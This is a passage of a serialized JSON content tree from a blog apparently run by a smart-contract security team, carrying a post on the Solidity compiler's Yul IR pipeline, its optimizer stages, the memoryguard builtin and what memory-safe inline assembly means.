tyle":356},[35369],{"type":29,"value":9853},{"type":24,"tag":327,"props":35371,"children":35372},{"style":381},[35373],{"type":29,"value":4809},{"type":24,"tag":327,"props":35375,"children":35376},{"style":381},[35377],{"type":29,"value":6755},{"type":24,"tag":327,"props":35379,"children":35380},{"style":346},[35381],{"type":29,"value":9866},{"type":24,"tag":327,"props":35383,"children":35384},{"style":551},[35385],{"type":29,"value":9871},{"type":24,"tag":327,"props":35387,"children":35388},{"class":329,"line":481},[35389,35393,35397,35401,35405],{"type":24,"tag":327,"props":35390,"children":35391},{"style":425},[35392],{"type":29,"value":428},{"type":24,"tag":327,"props":35394,"children":35395},{"style":356},[35396],{"type":29,"value":9853},{"type":24,"tag":327,"props":35398,"children":35399},{"style":381},[35400],{"type":29,"value":9887},{"type":24,"tag":327,"props":35402,"children":35403},{"style":397},[35404],{"type":29,"value":9892},{"type":24,"tag":327,"props":35406,"children":35407},{"style":346},[35408],{"type":29,"value":497},{"type":24,"tag":327,"props":35410,"children":35411},{"class":329,"line":500},[35412,35416,35420,35424,35428,35432,35436],{"type":24,"tag":327,"props":35413,"children":35414},{"style":356},[35415],{"type":29,"value":7649},{"type":24,"tag":327,"props":35417,"children":35418},{"style":381},[35419],{"type":29,"value":66},{"type":24,"tag":327,"props":35421,"children":35422},{"style":346},[35423],{"type":29,"value":9912},{"type":24,"tag":327,"props":35425,"children":35426},{"style":381},[35427],{"type":29,"value":66},{"type":24,"tag":327,"props":35429,"children":35430},{"style":340},[35431],{"type":29,"value":9921},{"type":24,"tag":327,"props":35433,"children":35434},{"style":346},[35435],{"type":29,"value":9926},{"type":24,"tag":327,"props":35437,"children":35438},{"style":551},[35439],{"type":29,"value":9931},{"type":24,"tag":327,"props":35441,"children":35442},{"class":329,"line":529},[35443],{"type":24,"tag":327,"props":35444,"children":35445},{"style":346},[35446],{"type":29,"value":535},{"type":24,"tag":327,"props":35448,"children":35449},{"class":329,"line":538},[35450],{"type":24,"tag":327,"props":35451,"children":35452},{"emptyLinePlaceholder":16},[35453],{"type":29,"value":544},{"type":24,"tag":327,"props":35455,"children":35456},{"class":329,"line":547},[35457],{"type":24,"tag":327,"props":35458,"children":35459},{"style":551},[35460],{"type":29,"value":10189},{"type":24,"tag":327,"props":35462,"children":35463},{"class":329,"line":557},[35464,35468,35472,35476,35480,35484,35488,35492],{"type":24,"tag":327,"props":35465,"children":35466},{"style":340},[35467],{"type":29,"value":563},{"type":24,"tag":327,"props":35469,"children":35470},{"style":346},[35471],{"type":29,"value":349},{"type":24,"tag":327,"props":35473,"children":35474},{"style":356},[35475],{"type":29,"value":1631},{"type":24,"tag":327,"props":35477,"children":35478},{"style":381},[35479],{"type":29,"value":66},{"type":24,"tag":327,"props":35481,"children":35482},{"style":346},[35483],{"type":29,"value":9912},{"type":24,"tag":327,"props":35485,"children":35486},{"style":381},[35487],{"type":29,"value":66},{"type":24,"tag":327,"props":35489,"children":35490},{"style":340},[35491],{"type":29,"value":3184},{"type":24,"tag":327,"props":35493,"children":35494},{"style":346},[35495],{"type":29,"value":10225},{"type":24,"tag":327,"props":35497,"children":35498},{"class":329,"line":586},[35499],{"type":24,"tag":327,"props":35500,"children":35501},{"emptyLinePlaceholder":16},[35502],{"type":29,"value":544},{"type":24,"tag":327,"props":35504,"children":35505},{"class":329,"line":1017},[35506,35510],{"type":24,"tag":327,"props":35507,"children":35508},{"style":1639},[35509],{"type":29,"value":9004},{"type":24,"tag":327,"props":35511,"children":35512},{"style":346},[35513],{"type":29,"value":9009},{"type":24,"tag":327,"props":35515,"children":35516},{"class":329,"line":1026},[35517],{"type":24,"tag":327,"props":35518,"children":35519},{"style":346},[35520],{"type":29,"value":592},{"type":24,"tag":25,"props":35522,"children":35523},{},[35524,35525,35530,35531,35535,35536,35541],{"type":29,"value":10255},{"type":24,"tag":284,"props":35526,"children":35528},{"className":35527},[],[35529],{"type":29,"value":1329},{"type":29,"value":10262},{"type":24,"tag":42,"props":35532,"children":35533},{},[35534],{"type":29,"value":10267},{"type":29,"value":10269},{"type":24,"tag":284,"props":35537,"children":35539},{"className":35538},[],[35540],{"type":29,"value":9912},{"type":29,"value":10276},{"type":24,"tag":25,"props":35543,"children":35544},{},[35545],{"type":29,"value":10281},{"type":24,"tag":228,"props":35547,"children":35548},{"id":10284},[35549],{"type":29,"value":10287},{"type":24,"tag":235,"props":35551,"children":35552},{"id":10290},[35553],{"type":29,"value":10293},{"type":24,"tag":25,"props":35555,"children":35556},{},[35557,35558,35562],{"type":29,"value":10298},{"type":24,"tag":42,"props":35559,"children":35560},{},[35561],{"type":29,"value":10303},{"type":29,"value":10305},{"type":24,"tag":25,"props":35564,"children":35565},{},[35566,35567,35571],{"type":29,"value":10310},{"type":24,"tag":42,"props":35568,"children":35569},{},[35570],{"type":29,"value":10315},{"type":29,"value":10317},{"type":24,"tag":25,"props":35573,"children":35574},{},[35575,35576,35581,35582,35587],{"type":29,"value":10322},{"type":24,"tag":284,"props":35577,"children":35579},{"className":35578},[],[35580],{"type":29,"value":2779},{"type":29,"value":10329},{"type":24,"tag":284,"props":35583,"children":35585},{"className":35584},[],[35586],{"type":29,"value":5539},{"type":29,"value":10336},{"type":24,"tag":25,"props":35589,"children":35590},{},[35591,35592,35597,35598,35603,35604,35608,35609,35614,35615,35620,35621,35625],{"type":29,"value":10341},{"type":24,"tag":284,"props":35593,"children":35595},{"className":35594},[],[35596],{"type":29,"value":5539},{"type":29,"value":10348},{"type":24,"tag":284,"props":35599,"children":35601},{"className":35600},[],[35602],{"type":29,"value":2779},{"type":29,"value":10355},{"type":24,"tag":42,"props":35605,"children":35606},{},[35607],{"type":29,"value":10360},{"type":29,"value":10362},{"type":24,"tag":284,"props":35610,"children":35612},{"className":35611},[],[35613],{"type":29,"value":2779},{"type":29,"value":10369},{"type":24,"tag":284,"props":35616,"children":35618},{"className":35617},[],[35619],{"type":29,"value":5539},{"type":29,"value":10376},{"type":24,"tag":42,"props":35622,"children":35623},{},[35624],{"type":29,"value":10381},{"type":29,"value":10383},{"type":24,"tag":25,"props":35627,"children":35628},{},[35629],{"type":29,"value":10388},{"type":24,"tag":235,"props":35631,"children":35632},{"id":10391},[35633],{"type":29,"value":10394},{"type":24,"tag":25,"props":35635,"children":35636},{},[35637],{"type":29,"value":10399},{"type":24,"tag":25,"props":35639,"children":35640},{},[35641],{"type":29,"value":10404},{"type":24,"tag":25,"props":35643,"children":35644},{},[35645],{"type":29,"value":10409},{"type":24,"tag":228,"props":35647,"children":35648},{"id":10412},[35649],{"type":29,"value":226},{"type":24,"tag":25,"props":35651,"children":35652},{},[35653],{"type":29,"value":10419},{"type":24,"tag":25,"props":35655,"children":35656},{},[35657],{"type":29,"value":10424},{"type":24,"tag":68,"props":35659,"children":35660},{},[],{"type":24,"tag":25,"props":35662,"children":35663},{},[35664],{"type":24,"tag":42,"props":35665,"children":35666},{},[35667,35668,35673,35674,35678],{"type":29,"value":10435},{"type":24,"tag":57,"props":35669,"children":35671},{"href":151,"rel":35670},[61],[35672],{"type":29,"value":155},{"type":29,"value":157},{"type":24,"tag":57,"props":35675,"children":35676},{"href":160},[35677],{"type":29,"value":163},{"type":29,"value":66},{"type":24,"tag":10448,"props":35680,"children":35681},{},[35682],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":35684},[35685,35691,35694,35699,35705,35709],{"id":230,"depth":367,"text":233,"children":35686},[35687,35688,35689,35690],{"id":237,"depth":408,"text":240},{"id":307,"depth":408,"text":310},{"id":1248,"depth":408,"text":1251},{"id":1288,"depth":408,"text":1291},{"id":1342,"depth":367,"text":10462,"children":35692},[35693],{"id":1457,"depth":408,"text":1460},{"id":2851,"depth":367,"text":2854,"children":35695},[35696,35697,35698],{"id":3555,"depth":408,"text":3558},{"id":3843,"depth":408,"text":3846},{"id":3987,"depth":408,"text":3990},{"id":4128,"depth":367,"text":4131,"children":35700},[35701,35702,35703,35704],{"id":4199,"depth":408,"text":4202},{"id":6091,"depth":408,"text":6094},{"id":6897,"depth":408,"text":4191},{"id":9438,"depth":408,"text":4196},{"id":10284,"depth":367,"text":10287,"children":35706},[35707,35708],{"id":10290,"depth":408,"text":10293},{"id":10391,"depth":408,"text":10394},{"id":10412,"depth":367,"text":226},{"_path":35711,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":35712,"description":35713,"author":13288,"image":35714,"date":35716,"isFeatured":16,"onBlogPage":16,"tags":35717,"body":35719,"_type":10481,"_id":37139,"_source":10483,"_file":37140,"_stem":37141,"_extension":10486},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":35715,"height":14,"width":14},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[12045,35718],"compiler",{"type":21,"children":35720,"toc":37130},[35721,35727,35763,35775,35781,35803,35816,35964,35985,35990,36011,36016,36024,36029,36034,36039,36045,36064,36069,36090,36153,36166,36196,36216,36243,36248,36261,36266,36271,36284,36315,36338,36492,36510,36561,36580,36605,36610,36616,36643,36663,36691,36696,36718,36737,36745,36756,36761,36777,37034,37042,37047,37051,37056,37061,37126],{"type":24,"tag":228,"props":35722,"children":35724},{"id":35723},"introduction",[35725],{"type":29,"value":35726},"Introduction",{"type":24,"tag":25,"props":35728,"children":35729},{},[35730,35732,35738,35739,35743,35745,35752,35754,35761],{"type":29,"value":35731},"What does ",{"type":24,"tag":284,"props":35733,"children":35735},{"className":35734},[],[35736],{"type":29,"value":35737},"memory-safe",{"type":29,"value":14024},{"type":24,"tag":42,"props":35740,"children":35741},{},[35742],{"type":29,"value":16841},{"type":29,"value":35744}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":24,"tag":57,"props":35746,"children":35749},{"href":35747,"rel":35748},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[61],[35750],{"type":29,"value":35751},"presents some requirements",{"type":29,"value":35753},", but is production code that ",{"type":24,"tag":57,"props":35755,"children":35758},{"href":35756,"rel":35757},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[61],[35759],{"type":29,"value":35760},"violates these requirements",{"type":29,"value":35762}," necessarily unsafe?",{"type":24,"tag":25,"props":35764,"children":35765},{},[35766,35768,35773],{"type":29,"value":35767},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":24,"tag":42,"props":35769,"children":35770},{},[35771],{"type":29,"value":35772},"memory-safety",{"type":29,"value":35774}," actually means.",{"type":24,"tag":228,"props":35776,"children":35778},{"id":35777},"compiler-pipeline",[35779],{"type":29,"value":35780},"Compiler Pipeline",{"type":24,"tag":25,"props":35782,"children":35783},{},[35784,35786,35793,35795,35802],{"type":29,"value":35785},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":24,"tag":57,"props":35787,"children":35790},{"href":35788,"rel":35789},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[61],[35791],{"type":29,"value":35792},"released in v0.8.13",{"type":29,"value":35794},". Compilation happens ",{"type":24,"tag":57,"props":35796,"children":35799},{"href":35797,"rel":35798},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[61],[35800],{"type":29,"value":35801},"in two main steps",{"type":29,"value":1636},{"type":24,"tag":175,"props":35804,"children":35805},{},[35806,35811],{"type":24,"tag":179,"props":35807,"children":35808},{},[35809],{"type":29,"value":35810},"Solidity to YUL IR",{"type":24,"tag":179,"props":35812,"children":35813},{},[35814],{"type":29,"value":35815},"YUL IR to EVM opcodes",{"type":24,"tag":317,"props":35817,"children":35821},{"className":35818,"code":35819,"language":35820,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n","cpp",[35822],{"type":24,"tag":284,"props":35823,"children":35824},{"__ignoreMap":7},[35825,35855,35876,35888,35896,35908,35928,35936,35957],{"type":24,"tag":327,"props":35826,"children":35827},{"class":329,"line":330},[35828,35832,35837,35841,35846,35850],{"type":24,"tag":327,"props":35829,"children":35830},{"style":425},[35831],{"type":29,"value":428},{"type":24,"tag":327,"props":35833,"children":35834},{"style":346},[35835],{"type":29,"value":35836}," (m_viaIR ",{"type":24,"tag":327,"props":35838,"children":35839},{"style":381},[35840],{"type":29,"value":3830},{"type":24,"tag":327,"props":35842,"children":35843},{"style":346},[35844],{"type":29,"value":35845}," m_generateIR ",{"type":24,"tag":327,"props":35847,"children":35848},{"style":381},[35849],{"type":29,"value":3830},{"type":24,"tag":327,"props":35851,"children":35852},{"style":346},[35853],{"type":29,"value":35854}," m_generateEwasm)\n",{"type":24,"tag":327,"props":35856,"children":35857},{"class":329,"line":367},[35858,35863,35867,35871],{"type":24,"tag":327,"props":35859,"children":35860},{"style":340},[35861],{"type":29,"value":35862},"        generateIR",{"type":24,"tag":327,"props":35864,"children":35865},{"style":346},[35866],{"type":29,"value":349},{"type":24,"tag":327,"props":35868,"children":35869},{"style":381},[35870],{"type":29,"value":469},{"type":24,"tag":327,"props":35872,"children":35873},{"style":346},[35874],{"type":29,"value":35875},"contract);\n",{"type":24,"tag":327,"props":35877,"children":35878},{"class":329,"line":408},[35879,35883],{"type":24,"tag":327,"props":35880,"children":35881},{"style":425},[35882],{"type":29,"value":428},{"type":24,"tag":327,"props":35884,"children":35885},{"style":346},[35886],{"type":29,"value":35887}," (m_generateEvmBytecode)\n",{"type":24,"tag":327,"props":35889,"children":35890},{"class":329,"line":421},[35891],{"type":24,"tag":327,"props":35892,"children":35893},{"style":346},[35894],{"type":29,"value":35895},"    {\n",{"type":24,"tag":327,"props":35897,"children":35898},{"class":329,"line":450},[35899,35903],{"type":24,"tag":327,"props":35900,"children":35901},{"style":425},[35902],{"type":29,"value":8861},{"type":24,"tag":327,"props":35904,"children":35905},{"style":346},[35906],{"type":29,"value":35907}," (m_viaIR)\n",{"type":24,"tag":327,"props":35909,"children":35910},{"class":329,"line":481},[35911,35916,35920,35924],{"type":24,"tag":327,"props":35912,"children":35913},{"style":340},[35914],{"type":29,"value":35915},"            generateEVMFromIR",{"type":24,"tag":327,"props":35917,"children":35918},{"style":346},[35919],{"type":29,"value":349},{"type":24,"tag":327,"props":35921,"children":35922},{"style":381},[35923],{"type":29,"value":469},{"type":24,"tag":327,"props":35925,"children":35926},{"style":346},[35927],{"type":29,"value":35875},{"type":24,"tag":327,"props":35929,"children":35930},{"class":329,"line":500},[35931],{"type":24,"tag":327,"props":35932,"children":35933},{"style":425},[35934],{"type":29,"value":35935},"        else\n",{"type":24,"tag":327,"props":35937,"children":35938},{"class":329,"line":529},[35939,35944,35948,35952],{"type":24,"tag":327,"props":35940,"children":35941},{"style":340},[35942],{"type":29,"value":35943},"            compileContract",{"type":24,"tag":327,"props":35945,"children":35946},{"style":346},[35947],{"type":29,"value":349},{"type":24,"tag":327,"props":35949,"children":35950},{"style":381},[35951],{"type":29,"value":469},{"type":24,"tag":327,"props":35953,"children":35954},{"style":346},[35955],{"type":29,"value":35956},"contract, otherCompilers);\n",{"type":24,"tag":327,"props":35958,"children":35959},{"class":329,"line":538},[35960],{"type":24,"tag":327,"props":35961,"children":35962},{"style":346},[35963],{"type":29,"value":535},{"type":24,"tag":25,"props":35965,"children":35966},{},[35967,35969,35976,35977,35984],{"type":29,"value":35968},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":24,"tag":57,"props":35970,"children":35973},{"href":35971,"rel":35972},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[61],[35974],{"type":29,"value":35975},"YulStack::optimize",{"type":29,"value":1323},{"type":24,"tag":57,"props":35978,"children":35981},{"href":35979,"rel":35980},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[61],[35982],{"type":29,"value":35983},"Assembly::optimize",{"type":29,"value":66},{"type":24,"tag":25,"props":35986,"children":35987},{},[35988],{"type":29,"value":35989},"In total, there are four steps.",{"type":24,"tag":175,"props":35991,"children":35992},{},[35993,35997,36002,36006],{"type":24,"tag":179,"props":35994,"children":35995},{},[35996],{"type":29,"value":35810},{"type":24,"tag":179,"props":35998,"children":35999},{},[36000],{"type":29,"value":36001},"Optimization of YUL IR",{"type":24,"tag":179,"props":36003,"children":36004},{},[36005],{"type":29,"value":35815},{"type":24,"tag":179,"props":36007,"children":36008},{},[36009],{"type":29,"value":36010},"Optimization of EVM opcodes",{"type":24,"tag":25,"props":36012,"children":36013},{},[36014],{"type":29,"value":36015},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":24,"tag":1706,"props":36017,"children":36018},{},[36019],{"type":24,"tag":25,"props":36020,"children":36021},{},[36022],{"type":29,"value":36023},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":24,"tag":25,"props":36025,"children":36026},{},[36027],{"type":29,"value":36028},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":24,"tag":25,"props":36030,"children":36031},{},[36032],{"type":29,"value":36033},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":24,"tag":25,"props":36035,"children":36036},{},[36037],{"type":29,"value":36038},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":24,"tag":228,"props":36040,"children":36042},{"id":36041},"guarantees",[36043],{"type":29,"value":36044},"Guarantees",{"type":24,"tag":25,"props":36046,"children":36047},{},[36048,36049,36056,36058,36063],{"type":29,"value":1713},{"type":24,"tag":57,"props":36050,"children":36053},{"href":36051,"rel":36052},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[61],[36054],{"type":29,"value":36055},"Solidity memory layout",{"type":29,"value":36057}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":24,"tag":42,"props":36059,"children":36060},{},[36061],{"type":29,"value":36062},"no information about this layout",{"type":29,"value":66},{"type":24,"tag":25,"props":36065,"children":36066},{},[36067],{"type":29,"value":36068},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":24,"tag":25,"props":36070,"children":36071},{},[36072,36074,36080,36082,36088],{"type":29,"value":36073},"Introducing ",{"type":24,"tag":284,"props":36075,"children":36077},{"className":36076},[],[36078],{"type":29,"value":36079},"memoryguard",{"type":29,"value":36081},". If you've ever looked at the output of ",{"type":24,"tag":284,"props":36083,"children":36085},{"className":36084},[],[36086],{"type":29,"value":36087},"solc --ir",{"type":29,"value":36089},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":24,"tag":317,"props":36091,"children":36093},{"className":12046,"code":36092,"language":12045,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[36094],{"type":24,"tag":284,"props":36095,"children":36096},{"__ignoreMap":7},[36097,36115],{"type":24,"tag":327,"props":36098,"children":36099},{"class":329,"line":330},[36100,36105,36110],{"type":24,"tag":327,"props":36101,"children":36102},{"style":551},[36103],{"type":29,"value":36104},"    /// @src 0:26:371  \"contract ",{"type":24,"tag":327,"props":36106,"children":36107},{"style":334},[36108],{"type":29,"value":36109},"XXX",{"type":24,"tag":327,"props":36111,"children":36112},{"style":551},[36113],{"type":29,"value":36114}," {...\"\n",{"type":24,"tag":327,"props":36116,"children":36117},{"class":329,"line":367},[36118,36123,36127,36132,36136,36140,36144,36149],{"type":24,"tag":327,"props":36119,"children":36120},{"style":340},[36121],{"type":29,"value":36122},"    store",{"type":24,"tag":327,"props":36124,"children":36125},{"style":346},[36126],{"type":29,"value":349},{"type":24,"tag":327,"props":36128,"children":36129},{"style":397},[36130],{"type":29,"value":36131},"64",{"type":24,"tag":327,"props":36133,"children":36134},{"style":346},[36135],{"type":29,"value":2744},{"type":24,"tag":327,"props":36137,"children":36138},{"style":340},[36139],{"type":29,"value":36079},{"type":24,"tag":327,"props":36141,"children":36142},{"style":346},[36143],{"type":29,"value":349},{"type":24,"tag":327,"props":36145,"children":36146},{"style":397},[36147],{"type":29,"value":36148},"0x80",{"type":24,"tag":327,"props":36150,"children":36151},{"style":346},[36152],{"type":29,"value":1045},{"type":24,"tag":25,"props":36154,"children":36155},{},[36156,36158,36165],{"type":29,"value":36157},"From ",{"type":24,"tag":57,"props":36159,"children":36162},{"href":36160,"rel":36161},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[61],[36163],{"type":29,"value":36164},"the documentation",{"type":29,"value":11698},{"type":24,"tag":1706,"props":36167,"children":36168},{},[36169],{"type":24,"tag":25,"props":36170,"children":36171},{},[36172,36174,36180,36182,36188,36190,36195],{"type":29,"value":36173},"The caller of ",{"type":24,"tag":284,"props":36175,"children":36177},{"className":36176},[],[36178],{"type":29,"value":36179},"let ptr := memoryguard(size)",{"type":29,"value":36181}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":24,"tag":284,"props":36183,"children":36185},{"className":36184},[],[36186],{"type":29,"value":36187},"[0, size)",{"type":29,"value":36189}," or the unbounded range starting at ",{"type":24,"tag":284,"props":36191,"children":36193},{"className":36192},[],[36194],{"type":29,"value":21482},{"type":29,"value":66},{"type":24,"tag":25,"props":36197,"children":36198},{},[36199,36201,36206,36208,36214],{"type":29,"value":36200},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":24,"tag":284,"props":36202,"children":36204},{"className":36203},[],[36205],{"type":29,"value":36079},{"type":29,"value":36207}," return ",{"type":24,"tag":284,"props":36209,"children":36211},{"className":36210},[],[36212],{"type":29,"value":36213},"size + 32",{"type":29,"value":36215},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":24,"tag":25,"props":36217,"children":36218},{},[36219,36221,36228,36230,36235,36237,36242],{"type":29,"value":36220},"An example of this optimization in practice ",{"type":24,"tag":57,"props":36222,"children":36225},{"href":36223,"rel":36224},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[61],[36226],{"type":29,"value":36227},"is the StackLimitEvader",{"type":29,"value":36229},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":24,"tag":42,"props":36231,"children":36232},{},[36233],{"type":29,"value":36234},"only",{"type":29,"value":36236}," optimization pass that relies on the semantic information communicated by ",{"type":24,"tag":284,"props":36238,"children":36240},{"className":36239},[],[36241],{"type":29,"value":36079},{"type":29,"value":66},{"type":24,"tag":25,"props":36244,"children":36245},{},[36246],{"type":29,"value":36247},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":24,"tag":25,"props":36249,"children":36250},{},[36251,36253,36259],{"type":29,"value":36252},"Fear not, for we can remove this pointer entirely and call ",{"type":24,"tag":284,"props":36254,"children":36256},{"className":36255},[],[36257],{"type":29,"value":36258},"memoryguard(0x60)",{"type":29,"value":36260}," instead. The rest of the pipeline will still work.",{"type":24,"tag":228,"props":36262,"children":36263},{"id":35772},[36264],{"type":29,"value":36265},"Memory Safety",{"type":24,"tag":25,"props":36267,"children":36268},{},[36269],{"type":29,"value":36270},"So what does memory safety mean?",{"type":24,"tag":25,"props":36272,"children":36273},{},[36274,36276,36282],{"type":29,"value":36275},"The Solidity documentation provides ",{"type":24,"tag":57,"props":36277,"children":36279},{"href":35747,"rel":36278},[61],[36280],{"type":29,"value":36281},"a set of constraints",{"type":29,"value":36283},", not a definition.",{"type":24,"tag":1706,"props":36285,"children":36286},{},[36287,36292],{"type":24,"tag":25,"props":36288,"children":36289},{},[36290],{"type":29,"value":36291},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":24,"tag":175,"props":36293,"children":36294},{},[36295,36300,36305,36310],{"type":24,"tag":179,"props":36296,"children":36297},{},[36298],{"type":29,"value":36299},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":24,"tag":179,"props":36301,"children":36302},{},[36303],{"type":29,"value":36304},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":24,"tag":179,"props":36306,"children":36307},{},[36308],{"type":29,"value":36309},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":24,"tag":179,"props":36311,"children":36312},{},[36313],{"type":29,"value":36314},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":24,"tag":25,"props":36316,"children":36317},{},[36318,36320,36327,36337],{"type":29,"value":36319},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":24,"tag":57,"props":36321,"children":36324},{"href":36322,"rel":36323},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[61],[36325],{"type":29,"value":36326},"removes the memory guard",{"type":24,"tag":22996,"props":36328,"children":36329},{},[36330],{"type":24,"tag":57,"props":36331,"children":36335},{"href":36332,"ariaDescribedBy":36333,"dataFootnoteRef":7,"id":36334},"#user-content-fn-1",[23003],"user-content-fnref-1",[36336],{"type":29,"value":3238},{"type":29,"value":66},{"type":24,"tag":317,"props":36339,"children":36341},{"className":35818,"code":36340,"language":35820,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  }\n",[36342],{"type":24,"tag":284,"props":36343,"children":36344},{"__ignoreMap":7},[36345,36353,36361,36368,36404,36411,36419,36427,36435,36443,36451,36464,36477,36485],{"type":24,"tag":327,"props":36346,"children":36347},{"class":329,"line":330},[36348],{"type":24,"tag":327,"props":36349,"children":36350},{"style":551},[36351],{"type":29,"value":36352},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":24,"tag":327,"props":36354,"children":36355},{"class":329,"line":367},[36356],{"type":24,"tag":327,"props":36357,"children":36358},{"style":551},[36359],{"type":29,"value":36360},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":24,"tag":327,"props":36362,"children":36363},{"class":329,"line":408},[36364],{"type":24,"tag":327,"props":36365,"children":36366},{"emptyLinePlaceholder":16},[36367],{"type":29,"value":544},{"type":24,"tag":327,"props":36369,"children":36370},{"class":329,"line":421},[36371,36376,36381,36386,36390,36395,36400],{"type":24,"tag":327,"props":36372,"children":36373},{"style":1639},[36374],{"type":29,"value":36375},"string",{"type":24,"tag":327,"props":36377,"children":36378},{"style":346},[36379],{"type":29,"value":36380}," IRGenerator::",{"type":24,"tag":327,"props":36382,"children":36383},{"style":340},[36384],{"type":29,"value":36385},"memoryInit",{"type":24,"tag":327,"props":36387,"children":36388},{"style":346},[36389],{"type":29,"value":349},{"type":24,"tag":327,"props":36391,"children":36392},{"style":334},[36393],{"type":29,"value":36394},"bool",{"type":24,"tag":327,"props":36396,"children":36397},{"style":356},[36398],{"type":29,"value":36399}," _useMemoryGuard",{"type":24,"tag":327,"props":36401,"children":36402},{"style":346},[36403],{"type":29,"value":852},{"type":24,"tag":327,"props":36405,"children":36406},{"class":329,"line":450},[36407],{"type":24,"tag":327,"props":36408,"children":36409},{"style":346},[36410],{"type":29,"value":18427},{"type":24,"tag":327,"props":36412,"children":36413},{"class":329,"line":481},[36414],{"type":24,"tag":327,"props":36415,"children":36416},{"style":551},[36417],{"type":29,"value":36418}," // This function should be called at the beginning of the EVM call frame\n",{"type":24,"tag":327,"props":36420,"children":36421},{"class":329,"line":500},[36422],{"type":24,"tag":327,"props":36423,"children":36424},{"style":551},[36425],{"type":29,"value":36426}," // and thus can assume all memory to be zero, including the contents of\n",{"type":24,"tag":327,"props":36428,"children":36429},{"class":329,"line":529},[36430],{"type":24,"tag":327,"props":36431,"children":36432},{"style":551},[36433],{"type":29,"value":36434}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":24,"tag":327,"props":36436,"children":36437},{"class":329,"line":538},[36438],{"type":24,"tag":327,"props":36439,"children":36440},{"style":425},[36441],{"type":29,"value":36442}," return\n",{"type":24,"tag":327,"props":36444,"children":36445},{"class":329,"line":547},[36446],{"type":24,"tag":327,"props":36447,"children":36448},{"style":346},[36449],{"type":29,"value":36450},"  Whiskers{\n",{"type":24,"tag":327,"props":36452,"children":36453},{"class":329,"line":557},[36454,36459],{"type":24,"tag":327,"props":36455,"children":36456},{"style":346},[36457],{"type":29,"value":36458},"   _useMemoryGuard ",{"type":24,"tag":327,"props":36460,"children":36461},{"style":381},[36462],{"type":29,"value":36463},"?\n",{"type":24,"tag":327,"props":36465,"children":36466},{"class":329,"line":586},[36467,36472],{"type":24,"tag":327,"props":36468,"children":36469},{"style":844},[36470],{"type":29,"value":36471},"   